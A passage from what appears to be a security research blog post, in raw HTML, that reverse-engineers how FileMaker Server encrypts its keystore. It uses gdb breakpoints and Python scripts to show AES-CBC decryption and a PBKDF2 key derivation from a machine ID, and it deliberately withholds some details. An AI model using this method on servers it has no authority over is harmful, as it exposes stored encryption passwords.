&lt;p&gt;At this stage we just want to verify that the function is actually called (we could have also read and understand all the disassembled instructions instead).&lt;/p&gt;
&lt;p&gt;Both breakpoints hit. And in the second one, we can actually verify our assumptions from above as we know the parameters names and their meaning for the decryption intialization function from the OpenSSL documentation.&lt;/p&gt;
&lt;p&gt;This means we have learned so far:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;AES is used in CBC mode&lt;/li&gt;
&lt;li&gt;We have a 256 bit key, but are using &lt;code&gt;EVP_aes_128_cbc&lt;/code&gt; and thus only use the first half of the key (probably a bug)&lt;/li&gt;
&lt;li&gt;We know the IV is set to all zeros (16 bytes, like the block size)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="building-our-own-decryptor"&gt;Building our own decryptor&lt;/h2&gt;
&lt;p&gt;It&amp;rsquo;s time to test if the data we discovered can actually be used to independently decrypt the keystore values.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s build a small Python script and re-implement what we discovered. I&amp;rsquo;m using &lt;a href="https://www.pycryptodome.org"&gt;PyCryptodome&lt;/a&gt; for the crypto routines.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;base64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Cryptodome.Cipher&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Cryptodome.Util.Padding&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;unpad&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;decoded_ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MODE_CBC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decoded_ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;unpad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;b442h3l&amp;lt;snip&amp;gt;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;a510c&amp;lt;snip&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;plaintext: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Starting in &lt;code&gt;main&lt;/code&gt;, the &lt;code&gt;ciphertext&lt;/code&gt; is our base64-encoded string from the keystore, the &lt;code&gt;key&lt;/code&gt; is the key we discovered via the debugging process (unique per server), and &lt;code&gt;iv&lt;/code&gt; is just 16 null bytes (16 bytes being the block size). From the 32 byte key we only pass byte 0 to 15 to have a 128-bit key.&lt;/p&gt;
&lt;p&gt;In the &lt;code&gt;decrypt&lt;/code&gt; function, we first base64-decode the ciphertext, then initialize the cipher with the passed values and CBC mode.&lt;/p&gt;
&lt;p&gt;Lastly, we decrypt the ciphertext and return the plaintext (unpadded, to remove the padding at the end that completes a full block).&lt;/p&gt;
&lt;p&gt;Running the script successfully reveals the plaintext value (in this case the EAR password we decided to store before).&lt;/p&gt;
&lt;p&gt;While we now have everything we need to decrypt other values on our server, our main goal was to better understand how the keystore works. And we still don&amp;rsquo;t know how the key we found was derived – it cannot be a hardcoded key, as it&amp;rsquo;s different from server to server. Let&amp;rsquo;s dig in more.&lt;/p&gt;
&lt;h2 id="figuring-out-how-the-key-is-derived"&gt;Figuring out how the key is derived&lt;/h2&gt;
&lt;p&gt;Above we saw that &lt;code&gt;Encrypt_AES_decrypt&lt;/code&gt; already gets the key passed to it and that it is called by &lt;code&gt;Draco::KeyStorageProvider::CryptData&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We can look at the &lt;code&gt;CryptData&lt;/code&gt; function from within gdb:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) disas &amp;#39;Draco::KeyStorageProvider::CryptData&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This function is certainly more involved with lots of conditional &lt;code&gt;jmp&lt;/code&gt;s and calls.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s first demangle the function names to make it bit easier to browse through:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) set print asm-demangle on
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Disassembling the function again and just looking at the symbols before our &lt;code&gt;Encrypt_AES_decrypt&lt;/code&gt; and &lt;code&gt;Encrypt_AES_encrypt&lt;/code&gt; calls, we see two names that stick out:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0x00007f77a60ec76c &amp;lt;+508&amp;gt;: callq 0x7f77a60431d0 &amp;lt;Draco::Machine::GetPersistentID()@plt&amp;gt;
...
0x00007f77a60ec947 &amp;lt;+983&amp;gt;: callq 0x7f77a603f120 &amp;lt;Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)@plt&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;From the Claris documentation, we know that &lt;em&gt;&amp;ldquo;FileMaker [&amp;hellip;] uses a composite key based on information from the machine to encrypt the password and stores the password securely on the server.&amp;rdquo;&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Since we know the &lt;code&gt;Get(PersistentID)&lt;/code&gt; function from FileMaker Pro&amp;rsquo;s calculation environment returns a unique identifier for the current machine it is running on, we can assume that &lt;code&gt;Draco::Machine::GetPersistentID()&lt;/code&gt; function does something similar or the same.&lt;/p&gt;
&lt;p&gt;At the same time, we can assume that this ID goes into the &amp;ldquo;composite key based on information from the machine&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;While we can also make an assumption what the &lt;code&gt;ComputePasswordHashRawBytes&lt;/code&gt; is doing, based on the name, we will go through the same debugging procedure as with the &lt;code&gt;Encrypt_AES_decrypt&lt;/code&gt; function above to get more insights.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s set a breakpoint, continue with the program and then close/open our sample database file again:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) b Draco::PasswordHash::ComputePasswordHashRawBytes
Breakpoint 1 at 0x7f77a603f120 (2 locations)
(gdb) c
Continuing.

Thread 49 &amp;#34;fmserverd&amp;#34; hit Breakpoint 1, 0x00007f77a603f120 in Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)@plt () from /opt/FileMaker/lib/libSupport.so
(gdb) disas
Dump of assembler code for function _ZN5Draco12PasswordHash27ComputePasswordHashRawBytesEPKcjPKhjiiPh@plt:
=&amp;gt; 0x00007f77a603f120 &amp;lt;+0&amp;gt;: jmpq *0x2b076a(%rip) # 0x7f77a62ef890 &amp;lt;Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)@got.plt&amp;gt;
 0x00007f77a603f126 &amp;lt;+6&amp;gt;: pushq $0x10f
 0x00007f77a603f12b &amp;lt;+11&amp;gt;: jmpq 0x7f77a603e020
End of assembler dump.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We step again into the actual function and then have a look at the arguments being passed. We know the signature, so let&amp;rsquo;s map the register values:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rdi&lt;/code&gt;: 0x7f778c01a5c0&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rsi&lt;/code&gt;: 0x10 (or 16 in decimal)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rdx&lt;/code&gt;: 0x7f779c250f70&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rcx&lt;/code&gt;: 0x08 (8)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r8&lt;/code&gt;: 0x3e5 (997)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r9&lt;/code&gt;: 0x20 (32)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The seventh argument is passed on the stack, so let&amp;rsquo;s look at the value on the &lt;a href="https://en.wikipedia.org/wiki/Call_stack"&gt;stack&lt;/a&gt; after the return address (&lt;a href="https://en.wikipedia.org/wiki/Call_stack#STACK-POINTER"&gt;stack pointer&lt;/a&gt; is in &lt;code&gt;$rsp&lt;/code&gt; and we skip the first 8 bytes):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) x/xg $rsp+8
0x7f779c250ed0: 0x00007f779c250f00
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Let&amp;rsquo;s take a look what values can be found at the addresses pointed to by the first, third and seventh argument:&lt;/p&gt;
&lt;p&gt;The first argument is 16 bytes in length, but is certainly not an ascii string (look at it with &lt;code&gt;x/16xb 0x7f778c01a5c0&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The third argument can indeed be interpreted as a string and points to &lt;code&gt;fmserver&lt;/code&gt; (if we spent more time looking at &lt;code&gt;CryptData&lt;/code&gt; we learn that this string and the 997 are the username/id acquired via &lt;a href="https://linux.die.net/man/3/getpwuid"&gt;&lt;code&gt;getpwuid&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;The seventh argument contains data we don&amp;rsquo;t understand yet and might very well just be the address where the result goes.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s disassemble the body of the function now:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) disas
Dump of assembler code for function Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*):
=&amp;gt; 0x00007f77a6066a50 &amp;lt;+0&amp;gt;: jmpq 0x7f77a6043ab0 &amp;lt;PKCS5_PBKDF2_HMAC_SHA1@plt&amp;gt;
End of assembler dump.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can see that the program is calling OpenSSL&amp;rsquo;s &lt;a href="https://www.openssl.org/docs/man3.1/man3/PKCS5_PBKDF2_HMAC_SHA1.html"&gt;&lt;code&gt;PKCS5_PBKDF2_HMAC_SHA1&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Looking at the documentation, we know what each argument is and can now also make sense of the arguments we deciphered above:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;int PKCS5_PBKDF2_HMAC_SHA1(const char *pass, int passlen,
 const unsigned char *salt, int saltlen, int iter,
 int keylen, unsigned char *out);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The password is the 16 bytes at &lt;code&gt;0x7f778c01a5c0&lt;/code&gt;, the salt is &lt;code&gt;fmserver&lt;/code&gt;, the iterations are 997 and the key length is 32.&lt;/p&gt;
&lt;p&gt;PBKDF2 is a common key derivation function, which is used here to create the key for decrypting the keystore value.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 PBKDF2 stands for &lt;strong&gt;Password-Based Key Derivation Function 2&lt;/strong&gt;. It takes a pseudorandom function (such as HMAC-SHA1, as we see above), a password, a salt, a key length and an iteration count. In short, it computes a hash from the salt and a block iteration count, using the given password as key. In the first iteration, it builds another hash using the password as key and the previous hash result as message. These two hashes are then XORd. What follows is a loop of creating a new hash from the previous hash, XORing it again with the previous XOR result, and so on. This is done for the number of iterations specified (here 997) and for each necessary block of the hash length to reach the length of the desired key (here 2 as the hash output of SHA-1 is 20 bytes, but we request a 32 byte key) . For more details see the &lt;a href="https://en.wikipedia.org/wiki/PBKDF2"&gt;Key derivation process explained on Wikipedia&lt;/a&gt;.&lt;br&gt;&lt;br&gt;A few additional things to note: 1) the mentioned hash is not just a SHA-1 hash but an invocation of &lt;a href="https://en.wikipedia.org/wiki/HMAC"&gt;HMAC&lt;/a&gt;. Thus, we&amp;rsquo;re running SHA-1 twice to come up with our hashes in each iteration. 2) The salt being used here is certainly not random (the default fmserver username) and the iteration count is rather low and also likely to be the same or in a close range for every machine (being the user ID). Since the &amp;ldquo;password&amp;rdquo; is already a hash created from a unique identifier (see later in this article), though, this might be less problematic. I assume that this was done like this to easily &amp;ldquo;break&amp;rdquo; the key once any of the variables on the system change, which would force a user to re-enter the EAR password.
&lt;/div&gt;

&lt;p&gt;Given the information we got so far, we should be able to reproduce the key (even though, we still don&amp;rsquo;t know how that password is created).&lt;/p&gt;
&lt;p&gt;Back in Python, we can do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;binascii&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Cryptodome.Protocol.KDF&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;PBKDF2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Cryptodome.Hash&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SHA1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;salt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;fmserver&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;997&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;the value at 0x7f778c01a5c0&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;PBKDF2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hmac_hash_module&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;SHA1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;binascii&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hexlify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Running the script, we can now generate the same key that we have discovered above. Cool, one step further!&lt;/p&gt;
&lt;h2 id="figuring-out-how-the-password-is-created"&gt;Figuring out how the password is created&lt;/h2&gt;
&lt;p&gt;The last piece of information we need is how the password which is being passed to &lt;code&gt;PBKDF2&lt;/code&gt; is created .&lt;/p&gt;
&lt;p&gt;Since the password which we discovered was 16 bytes long and we earlier saw a call to &lt;code&gt;GetPersistentID&lt;/code&gt; (which, if equivalent to the &lt;code&gt;Get(PersistentID)&lt;/code&gt; function, also returns 16 bytes sequences), we could assume that the password we saw was just said machine identifier.&lt;/p&gt;
&lt;p&gt;If we compute the persistent ID of the server (for example via &lt;code&gt;Perform Script on Server[]&lt;/code&gt;), however, we realize that the value doesn&amp;rsquo;t match – either because they are indeed different implementations or because the password is just created differently.&lt;/p&gt;
&lt;p&gt;To understand how the server arrives at the previously detected password, we can continue in two ways. Either we step through the instructions of &lt;code&gt;Draco::KeyStorageProvider::CryptData&lt;/code&gt; (which calls the previously analysed &lt;code&gt;ComputePasswordHashRawBytes&lt;/code&gt;) or we go a couple of steps back and check again, if we can find other interesting symbols now that we have learned a bit more and know the &lt;code&gt;KeyStorageProvider&lt;/code&gt; class is involved.&lt;/p&gt;
&lt;p&gt;For the latter strategy &lt;code&gt;Draco::KeyStorageProvider::GetInstance()&lt;/code&gt; seems like a good starting point.&lt;/p&gt;
&lt;p&gt;Setting a breakpoint and entering the function, we see the following:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) disas
Dump of assembler code for function Draco::KeyStorageProvider::GetInstance():
 0x00007f3ef752b4c0 &amp;lt;+0&amp;gt;: push %rbx
 0x00007f3ef752b4c1 &amp;lt;+1&amp;gt;: mov 0x20b3c9(%rip),%al # 0x7f3ef7736890 &amp;lt;_ZGVZN5Draco18KeyStorageProvider11GetInstanceEvE8instance&amp;gt;
 0x00007f3ef752b4c7 &amp;lt;+7&amp;gt;: test %al,%al
 0x00007f3ef752b4c9 &amp;lt;+9&amp;gt;: je 0x7f3ef752b4d4 &amp;lt;Draco::KeyStorageProvider::GetInstance()+20&amp;gt;
 0x00007f3ef752b4cb &amp;lt;+11&amp;gt;: lea 0x20b2ae(%rip),%rax # 0x7f3ef7736780 &amp;lt;_ZZN5Draco18KeyStorageProvider11GetInstanceEvE8instance&amp;gt;
 0x00007f3ef752b4d2 &amp;lt;+18&amp;gt;: pop %rbx
=&amp;gt; 0x00007f3ef752b4d3 &amp;lt;+19&amp;gt;: retq
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We have a &lt;code&gt;test&lt;/code&gt; right at the beginning, meaning we likely return early, if the &lt;code&gt;KeyStorageProvider&lt;/code&gt; has already been instantiated. However, once we&amp;rsquo;re in this function, we can also look at what&amp;rsquo;s in memory.&lt;/p&gt;
&lt;p&gt;We can see that the previously discovered password &lt;code&gt;a04d..&lt;/code&gt; is already set here, so we might need to find where we initialize the provider for the first time (and thus where the password is being created).&lt;/p&gt;
&lt;p&gt;As mentioned in the beginning of the article, I&amp;rsquo;ll brush over some details here to not make a &amp;ldquo;point-and-shoot&amp;rdquo; decryption script available, but leave this as an exercise for the reader.&lt;/p&gt;
&lt;p&gt;What you have to look for is the initialization function for the KeyStorageProvider (which is executed during first start of the server) and another function that derives the password.&lt;/p&gt;
&lt;p&gt;In it you will find that an MD5 context is built, which then gets fed the machine&amp;rsquo;s persistent ID and another secret (you know it when you see it). Eventually, a 16-byte MD5 checksum is created, which matches the password we saw earlier.&lt;/p&gt;
&lt;p&gt;Having found this final part, we can now re-create the key and decrypt keystore values. The following Python script shows how you could do it in a program, leaving a few details out for the reasons mentioned above:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;hashlib&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;base64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Cryptodome.Cipher&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Cryptodome.Util.Padding&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;unpad&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Cryptodome.Protocol.KDF&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;PBKDF2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Cryptodome.Hash&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SHA1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
